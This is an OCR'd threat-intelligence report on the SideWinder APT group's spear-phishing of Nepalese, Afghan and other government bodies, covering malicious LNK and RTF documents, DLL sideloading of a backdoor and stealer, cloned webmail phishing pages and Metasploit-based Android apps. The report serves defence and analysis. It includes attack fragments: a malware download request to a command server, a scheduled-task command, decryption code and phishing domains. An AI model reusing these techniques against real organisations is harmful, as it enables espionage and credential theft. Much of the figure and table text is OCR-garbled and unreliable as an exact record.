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While tracking the activities of the SideWinder group, which has become
infamous for targeting the South Asia region and its surrounding countries, we
identified a server used to deliver a malicious LNK file and host multiple
credential phishing pages. We learned that these pages were copied from their
victims’ webmail login pages and subsequently modified for phishing. We

believe further activities are propagated via spear-phishing attacks.

The group's targets include multiple government and military units, mainly in
Nepal and Afghanistan. After the gathered credentials are sent, some of the
phishing pages will redirect victims to different documents or news pages. The
themes and topics of these pages and documents are related to either Covid-
19 or recent territory disputes between Nepal, Pakistan, India, and China.
Furthermore, it seems that these lures are distributed via phishing links.

https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html
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We also found multiple Android APK files on their phishing server. While some Archives >
of them are benign, we also discovered malicious files created with Metasploit.

One of the normal applications, called “OpinionPoll,” is a survey app for

gathering opinions regarding the Nepal-India political map dispute, which

seems to be another political lure similar to the one they used in the spear-

phishing portion. We believe these applications are still under development

and will likely be used to compromise mobile devices in the future.

SideWinder has been very active in 2020. Earlier this year, we published a
report on how the SideWinder APT group used the Binder exploit to attack
mobile devices. The group also launched attacks against Pakistan, Bangladesh,
and China using lure files related to Covid-19.

Analysis of the malicious document

The use of malicious documents is one of SideWinder's most common
infection vectors. We collected several different samples from the campaign,
including:

1. An LNKfile that downloads an RTF file and drops a JavaScript file

2. AZIPfile containing an LNK file, which downloads an HTA file (with
JavaScript)

3. AnRTFfile that drops a JavaScript file

4. A PDFfile with an embedded JavaScript stream

5. ADOCKXfile with an external link to an OLE object (RTF file), which
contains and drops a JavaScript file
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-~
Request Headers [Raw] [Header Definitions] Name Type

GET /doc.php HTTP/1.1

Client L | ~wnotification001.tmp TMP File
Accept: text/himl, applicationxhtml +xml, applicationxml;q=0.9 image /fwebp,image f: | ~wnotification002.tmp TMP File
Accept-Encoding: gzip, defiate || china foreign minister visit.doc Shortcut
Accept-Language: en-US,en;g=0.9
User-Agent: Mozilla/5.0 (Windows NT 6.1; ) Applewebkit/537.36 (KHTML, like Gecke

Security 47 china foreign minister visit.doc Properties
Upgrade-Insecure-Requests: 1

Transport Security Details. Previous Versions
Connection: keep-alive General Shortcut Compatibility
Host: 185.163.47.226

< = | > Eg china foreign minister visit. doc

Transformer | Headers ||Text'u’|ew | SyntaxView | ImageView | HexView | o
WebView | Auth | Caching | Cookies | Raw | 1sON | x| Target type:  Application
<html Target location: system32

<head: :

<titlesforeign minister vist pdf<tle> Tanget: em32cftmo exe hitp:/, mia filesrvr.net JyEN]
<meta http-equiv="refresh" content="6;ul=china forsign minister visit zip" />

</head>

<body> Start in: Sowindir %

//<embed src="china foreign minister visit zip" width="100%" height="100%" />

Figure 1. An example of a downloaded ZIP file containing an LNK file that is used to download a malicious
HTA file

All of these cases end up with either the downloading or dropping of files and
then the execution of JavaScript code, which is a dropper used to install the

main backdoor + stealer.

The downloaded RTF files exploit the CVE-2017-11882 vulnerability. It drops a
file named 1.a (a JavaScript code), which drops the backdoor + stealer into a
folder in ProgramData and directly executes it or creates a scheduled task to
execute the dropped files at a later time.

<Actions Context="Author">
“Exec>
<Command>C: \ProgramDatal\SyncFiles\rekeywiz.exe</Command>
</Exec>
</Bctions>

Figure 2. A scheduled task with a command to execute the dropped backdoor + stealer

The content of the newly created folder contains a few files, including
Rekeywiz (EFS REKEY wizard,
FA86B5BC5343CA92C235304B8DCBCF4188C6BE7D4621C625564BEBD5326E
D850), which is a legitimate Windows application.
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%] Duser dll 8,192
| ] GLXFIKI tmp 616,992
Pl rekeywiz EXE 61,440
|:] rekeywiz.exe config 217

Figure 3. List of dropped files

This application loads various system DLL libraries, including shell32.dll, which
sideloads DUser.dll, one of shell32's Delaylmports.

38. DelayImportDescriptor:

grAttra: 000000001 {dlattrBwa)

DLLName (B)VA: Ox003BBARAD (eSSl |

Hmod (R} VA: 0x003CC32C

IAT {(R)VA: Ox003CA4C4

INT (R)WVA: 0x003BCODO

BoundIAT (R)VA: 000000000

UnloadIAT (R)VA: 0x00000000

TimeDateStamp: O0x00000000 (GMT: Thu Jan 01 00:00:00 1570)

Figure 4. DUser library as Delaylmport of shell32 library

However, a fake DUser.dll gets loaded into the process. This fake DLL library
decrypts the main backdoor + stealer from the .tmp file in the same directory.

byte[] array2 = new byte[array.Length - 32];
BridgeEncapsulatedCaptureSingleImplementation.MutatorProgramChainMutator(ref array, 32, ref array2, array2.Length);
for (int i = @; 1 < array2.Length; i++)

{

' byte[] array3 = array2;

int num = i;

array3[num] *= array[i ¥ 32];

Figure 5. Algorithm for decrypting both main backdoor + stealer and configuration

The decryption process is a simple XOR, where the key is the first 32 bytes
from the encrypted file and the payload are the remaining bytes. The
decrypted payload is the main backdoor .NET executable binary.
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4 F SystemApp (0.0.0.0)
4 B SystemApp.dil
b= PE
I -B References
4 Resources
4 SysternfApp.Properties.Resources.resources
Default
Mewtonsoft_lson
bA{} -
4 {} Systernfpp
b %, FileListing @02000004
P *2 Program @02000006
P "% SharelnterfaceTemplateBridgeCapture @02000002
b % Sysinfo @0200000A

P {} SysternApp.Properties

Figure 6. Decrypted main SystemApp with listing its classes and resources

In Resources, the Default resource contains the encrypted configuration.
After decryption (using the same principle as with the main backdoor +
stealer), the configuration reveals which file formats the attackers are
targeting.

00008e8e: 81 1E 25 78 72 6F 67 72|61 6D 64 61 74 61 25 5C | ..%programdata®y
aA@eae18: 5C 53 79 6E 63 46 69 G6C|65 73 5C 5C 53 79 6E 63 | “SyncFiles\\3ync
8008006828: 12 25 61 78 78 64 61 74|61 25 5C 5C 53 79 6FE 63 | .Zappdata%i\Sync
00000030: 44 61 74 00 CO 27 09 00|60 EA 00 6@ 61 61 81 67 | Dat.A".. 8......
A00006840: 60 68 B0 64 2E 64 6F 63|85 2E 64 6F 63 78 A4 2E | ..... doc..docx..

geaeAesSA: 7B 6C 73 A5 2E 78 6C 73|78 B4 2E 7O 64 66 B4 2E | =ls..xlsx..pdf..
g00BaaGe: 7@ 78 74 B5 ZE 7O 70 74|78 80 96 98 90 00 08 8@ | ppt..pptxENN....
A00006870: 60 69 B0 60 88 74 F8 73|C1 AQ 75 OB OB 9A EE 923 | ..... tesAGulEEIN

Figure 7. The decrypted configuration

The main functions of the backdoor + stealer are:

1) Downloading the .NET executable and running it

2) Collecting system information and uploading it to the command-and-control
(C&C) server

3) Uploading selected files to the C&C server

https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html
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The collected information is in JSON format (hence why the Newtonsoft_Json
library stored in Resources is loaded) and includes information such as
privileges, user accounts, computer system information, antivirus programs,
running processes, processor information, operating system information,
timezone, installed Windows updates, network information, list of directories in
Users\%USERNAME%\Desktop, Users\%USERNAME%\Downloads,
Users\%USERNAME%\Documents, Users\%USERNAME%\Contacts, as well as
information on all drives and installed apps.

The spear-phishing attack

We found several interesting dynamic DNS domains resolving to a server that
was used to deliver SideWinder's malicious documents. The subdomains of
these dynamic DNS domains are designed to be similar to the domains of their
victims' mail servers. For example, “mail-nepalgovnp[.]Jduckdns[.Jorg” was
created to pretend to be the original Nepal government's domain
“mail[.Jnepall.Jgov[.]Inp". Digging deeper, we found that it hosted several
phishing pages.

These pages were copied from the webmail servers of various targets and then
modified for spear-phishing attacks designed to steal login credentials.
Although it's not clear to us how these phishing pages are delivered to the
victims, finding the original webmail servers that they copied to make these
phishing pages allows us to identify who they were targeting.

Analysis of the phishing pages revealed that most of them would redirect to
the original webmail servers, which they copied after the victims sent out their
login credentials. However, we also found some of them will either redirect to
documents or news pages. These documents and news are probably
interesting in some way to their targets and are used to make them click and
log in to the phishing pages. While several of the documents are related to

https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html 6/39
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Covid-19, we also found some documents or news related to territorial issues

in South Asia, including:

e “India Should Realise China Has Nothing to Do With Nepal's Stand on Lipulekh” - a news article
that discusses India-China conflicts in May.

¢ “India reaction after new pak map.pdf’ - a document talking about India’s response to the

new political map revealed by Pakistan in August.

¢ “Ambassador Yanchi Conversation with Nepali_Media.pdf’ - a document describing an interview

with China's ambassador to Nepal regarding Covid-19, the Belt and Road Initiative, and
territorial issues in the Humla district.

The following table shows their targets, related phishing domains, and lure

documents used in each of the phishing attacks.

Date

2019

Nov

2019

Nov

2019

Dec

https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html

Phishing Domain

mail-

mofagovnp.zapto[.Jorg

Targeted

Organization

Government of

Nepal

Ministry of

Defence, Nepal

Ministry of Foreign

Affairs, Nepal

Targeted Mail

server

mail.nepal.gov.

np

mail.mod.gov.

np

mail.mofa.gov.

np

Redirection after

login

Redirect to file

IMG_0002.pdf"

Redirect to
original mail

server

Redirect to web
news “China,
Nepal sign trade,
infrastructure and

security deals”
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2019

Dec

2020

Jan

2020

Jan

2020

Jan

2020

Jan
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imail.aop.gov-af[.]Jorg

mail-nscaf.myftp[.Jorg

mail-
nepalarmymilnp.duckdn

s[.Jorg

mail-

mofagovnp.hoptol.Jorg

Government of

Nepal

Administrative
Office of the
President,

Afghanistan

Afghanistan
National Security

Council

Nepali Army

Ministry of Foreign

Affairs, Nepal

mail.nepal.gov.

np

imail.aop.gov.a

f

mail.nsc.gov.af

mail.nepalarm

y.mil.np

mail.mofa.gov.

np

Redirect to file
“consultation_152

3857630.pdf”

Redirect to web
page
“Observation Of
Technology Use in
Afghanistan
Government

Sector”

Redirect to
https://wikipedia.

org/USB_Killer

Redirect to PDF
“EN Digital Nepal
Framework V8.4

15 July 2019.pdf"

Redirect to PDF
“national-security-

vol-3-issue-1-

8/39
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2020 webmail.mohe.gov-
Jan af[.Jorg

2020

Feb

2020 mail.moha.gov-np[.Jorg
Feb

2020 mail.nsc.gov-aff.Jorg
Feb

2020 mail.arg.gov-afl.Jorg
Feb

2020 mail.arg.gov-afl.Jorg
Feb

https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html

Ministry of Higher
Education,

Afghanistan

Ministry of

Defense, Sri Lanka

Ministry of Home

Affairs, Nepal

Afghanistan
National Security

Council

Presidential Palace,

Afghanistan

Presidential Palace,

Afghanistan

webmail.mohe

.gov.af

mail.defence.lk

mail.moha.gov

.np

mail.nsc.gov.af

mail.arg.gov.af

mail.arg.gov.af

essay-

SSimkhada.pdf”

Redirect to
original mail

server

Login Error

Redirect to
original mail

server

Redirect to
original mail

server

Redirect to
original mail

server

Redirect to
original mail

server
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2020
Feb

2020
Mar

2020

Mar

2020

Mar

2020

Mar

2020
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mail-

nepalgovnp.duckdns[.]Jo

re

mail-

nepalgovnp.duckdns[.]Jo

re

mail-

nepalarmymilnp.duckdn

s[.]Jorg

mail-

Center for

Education and

Human Resource

Development,

Nepal

Government of

Nepal

Nepal Electricity

Authority

Government of

Nepal

Nepali Army

Nepal Police

mail.doe.gov.n

P

mail.nepal.gov.

np

mail.nea.org.n

P

mail.nepal.gov.

np

mail.nepalarm

y.mil.np

mail.nepalpolic

Redirect to file
“Para Basic
Course Joining

Instruction.docx”

Redirect to
original mail

server

Redirect to
original mail

server

Redirect to file
“central data

form.pdf”

Redirect to file
“Corona Virus
Preparedness
and

Response.pdf”

Redirect to file
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Mar

2020

Apr

2020

May

2020

Jun

2020
Jul
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nepalpolicegov.hoptol.]

org

mail-nrborg.hopto[.Jorg | Nepal Rastra Bank

mail- Nepali Army
nepalarmymilnp.duckdn

s[.Jorg

mail- Nepali Army
nepalarmymilnp.duckdn

s[.Jorg

Qatar Charity

e.gov.np

mail.nrb.gov.n

P

mail.nepalarm

y.mil.np

mail.nepalarm

y.mil.np

mail.qcharity.o

re

1987 Conducting
training on
COVID-19 and
keeping it in

readiness.pdf”

Redirect to file

"fiu.pdf”

Redirect to web
news “India
Should Realise
China Has
Nothing to Do
With Nepal's
Stand on

Lipulekh”

Showing login

failed message

Redirect to
original mail

server
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2020

Jul

2020 mail-

Aug ncporgnp.hoptol.Jorg

2020 mail-nscaf.myftp[.Jorg

Aug

2020 mail-

Sep mofgovnp.hoptol[.Jorg
2020 mail-

Sep ncporgnp.hoptol.Jorg

2020 imail.aop.gov-af[.]Jorg
Sep

https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html

Myanma Posts and
Telecommunicatio

ns

Nepal Communist

Party

Afghanistan
National Security

Council

Ministry of Finance,

Nepal

Nepal Communist

Party

Administrative

Office of the

webmail.mpt.n

et.mm

mail.ncp.org.n

P

mail.nsc.gov.af

mail.mof.gov.n

P

mail.ncp.org.n

P

imail.aop.gov.a

f

Redirect to
original mail

server

Redirect to file
“India reaction
after new pak

map.pdf”

Redirect to
T0[L177[. 1N 7[.110/S
oftware/03-

Applications

Redirect to file

1987 Covid.pdf”

Redirect to
document “The
spectre of a new
Maoist conflict in

|II

Nepa

Redirect to file

“SOP of Military
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2020 mail-

Oct nepalpolicegovnp.duck
dnsl[.Jorg

2020

Oct

2020 mail-

Oct apfgovnp.ddns[.Jnet
mail-
apfgavnp.hopto[.Jorg

2020 mail-nscaf.myftp[.Jorg

Oct
2020 mail-
Nov ntcnetnp.serveftpl.Jcom

https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html

President,

Afghanistan

Nepal Police

Civil Aviation

Authority of Nepal

Armed Police

Force, Nepal

Afghanistan
National Security

Council

Nepal Telecom

mail.nepalpolic

e.gov.np

mail.caanepal.

gov.np

mail.apf.gov.n

P

mail.nsc.gov.af

webmail.ntc.n

et.np

Uniform .pdf”

Redirect to file
"2077-07-03 1239
Regarding
investigation and

action.pdf”

Redirect to
original mail

server

Redirect to
original mail

server

Redirect to file “IT
Services Request

Form.pdf”

Redirect to
original mail

server
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2020

Nov

2020

Nov

2020

Nov

2020

Nov
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mail-kmgcom.ddns[.Jnet

mail-

mfagovcn.hoptol.Jorg

Kantipur Media

Group

Federal Parliament

of Nepal

Public
Procurement
Monitoring Office,

Nepal

Ministry of Foreign

Affairs, China

mail.kmg.com.

np

mail.parliamen

t.gov.np

mail.ppmo.gov

.np

mail.mfa.gov.c

n

Redirect to
original mail

server

Redirect to
original mail

server

Redirect to
original mail

server

Redirect to file
"Ambassador
Yanchi
Conversation with

Nepali_Media.pdf”
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=@ = |
1 Cutlack Web App X +
<« X A Notsecure | mail-nepalarmymilnp.duckdns.org/owa/ I e

Nepali Army Mail

User name:

Password:

Your session expired ! Please login again...

3 signin

Figure 8. SideWinder's phishing page disguised as a Nepalese Army OWA (Outlook Web Access) Page

== sz
@ India reaction afer new pak map. X +
<« C A Notsecure | mail-ncporgnp.hopto.org/ncp/India%20reaction%20afer%20new%20pak%20map.pdf ¥ e

Political absurdity: India on Pak’s
boundary map

Releasing the political map during a meeting in Islamabad attended by his cabinet and senior
officials, Pakistan Prime Minister Imran Khan said this was the first step towards a political

struggle to achieve the right of self-determination for the Kashmiri people.

https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html 15/39
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political map issues

@ Ambassador Yanchi Conversatic: X +

&« (& A Not secure | mail-mfagoven.hopto.org/cmfa/Ambassador?20Yanchi%20Conversation%20with%20Nepali_Media.pdf

Online Khabar has interviewed Ambassador Yanchi regarding similar political and diplomatic questions raised in
the current context. In this interview, she has shared in detail the experience of China's fight against Kovid 19.

Stating that China has friendship with all political parties in Nepal and holding meetings is not against diplomatic
dignity, Ambassador Yanchi told online news, “Non-interference does not mean not establishing
communication.” As China's representative in Nepal, | have friendly relations with all political parties and all
sectors of society, and we also meet from time to time to exchange views on issues of mutual interest and
cooperation. This is a normal exchange and cooperation in foreign affairs does not need to be explained much.

Replying to a question on whether the border dispute between India and China has affected Nepal in recent times,
Ambassador Yanchi stressed on the need for China, India and Nepal to actively promote the tripartite partnership
for Nepal's development.

Stating that some elements are trying to spoil the relations between Nepal and China, she said that both the
countries should be vigilant in this regard. "Some elements are trying to undermine Sino-Nepalese relations,
sowing the seeds of conflict between us,” she said. Therefore, the two countries should be very vigilant on these
issues.

Here is an interview with Ambassador Yanchi:

Let's start the conversation with Kovid-19, it started from China and China successfully controlled
it. However, the government of Nepal is struggling to protect the citizens from this, what is your
suggestion?

First of all, | need to correct your question. China is the first country to report coronavirus infection to the World
Health Organization. This does not mean that the virus originated in China. Detecting the origin of the virus is a
very complex scientific subject and scientists around the world should conduct international research and work
together.

For example, an expert from Oxford University in The Daily Telegraph published an article stating that the virus

S ST YO S T PO . S T S Y

Android applications

==

* O

Figure 10. The lure document covering the interview of China's ambassador to Nepal

We also identified multiple Android APK files on their server. Interestingly,

these Android applications still seem to be under the initial development

phase as they are basic, still use the default Android icons, and have no

practical function for users.

https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html
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We noticed two applications among them, named “My First APP” and “Opinion
Poll,” that seemingly have no malicious behavior. My First APP demonstrates
login & register processes, while Opinion Poll acts as an opinion polling
application for the Indian-Nepalese political map dispute. The first application
is likely an Android demo application for beginners, while the second one
starts with an explanation of “Opinion Writing,” followed by a survey.

Cnline Cpinion Survey
Is Amendment of Mepal Map :

Op|n|0n Pn” 1 sty b i s s bk e
L et bt e weves p e i

Dipinicn writing imaoives The e ol ) i e sl Bakinan

& sludent’s point-of-view which is ) s

segregated into a point. I is backed

oy examoles and explanations.

The paper addresses the audience

directly by stating Dear Resders” o

the squivalent.

Figure 12. Non-malicious applications “My First APP” and “Opinion Poll”

Another two applications were built from JavaPayload for Metasploit that will
load extra code from the remote server configured in the sample. While we
were unable to retrieve the payload, according to the Manifest that requests
numerous privacy-related permissions like location, contacts, call logs, etc., we
can infer that it goes after the user’s private data. These two samples appear
to be debug versions as they have no activities or any other component except
Metasploit.
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Figure 13. Build from Metasploit and Request Permissions

We also identified a malicious version of the My First APP application that
added Metasploit whose class names have been obfuscated.
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Figure 14. Malicious version of My First APP, which adds Metasploit
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SideWinder has used malicious apps as part of its operation before. In the
campaign referenced earlier, the group used malicious APKs disguised as
photography and file manager tools to lure users into downloading them.
Once downloaded into the user's mobile device, the malicious APKs launch a
series of fairly sophisticated procedures that includes rooting the device to
stealthily deploy the payload, as well as exploiting CVE-2019-2215 and
MediaTek-SU vulnerabilities for root privileges. The payload's ultimate goal is to
gather information from the compromised device and then send it back to its
C&C server.

In the case of these newer APKs, it seems that the goal is to gather user
information as well. Unlike the earlier apps, which were already on the Google
Play Store, all the APK files found on their server are not mature enough for a
deliberate attack. In our opinion, these are still in the initial stage, and the

payloads (directed at mobile users) are still being refined further.

Conclusion

As seen with their phishing attacks and their mobile device tools’ continuous
development, SideWinder is very proactive in using trending topics like Covid-
19 or various political issues as a social engineering technique to compromise
their targets. Therefore, we recommend that users and organizations be
vigilant and follow social engineering best practices to protect themselves from
these kinds of campaigns.
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